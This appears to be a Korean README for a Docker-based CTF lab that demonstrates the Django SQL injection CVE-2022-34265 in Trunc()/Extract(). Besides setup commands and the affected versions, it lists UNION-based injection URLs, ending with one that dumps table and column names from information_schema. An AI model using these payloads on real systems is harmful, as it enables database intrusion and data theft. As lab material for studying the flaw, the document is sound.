
Django의 Trunc() 및 Extract() 데이터베이스 함수에서 SQL 인젝션을 시연하는 Docker 기반 CTF 챌린지 (CVE-2022-34265) - UNION 기반 페이로드 예제 포함.
Django 3.2 (3.2.14 미만) 및 4.0 (4.0.6 미만)에서 문제가 발견되었습니다. Trunc() 및 Extract() 데이터베이스 함수는 신뢰할 수 없는 데이터가 kind/lookup_name 값으로 사용될 경우 SQL 인젝션에 취약합니다. 조회 이름과 종류 선택을 알려진 안전 목록으로 제한하는 애플리케이션은 영향을 받지 않습니다.
git clone https://github.com/coco0x0a/CTF_CVE-2022-34265
cd CVE-2022-34265
sudo docker-compose up -d
sudo docker ps
sudo docker-compose down
Django>= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
UNION 사용
http://127.0.0.1:8000/extract/?lookup_name=year%20FROM%20start_datetime))%20OR%201=1%20UNION%20SELECT%201--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, 2, 3, 4, 5, 6, 7--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT "TEST", now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT CONCAT(table_name, '~', column_name), now(), now(), now(), now(), now(), now() FROM information_schema.columns--
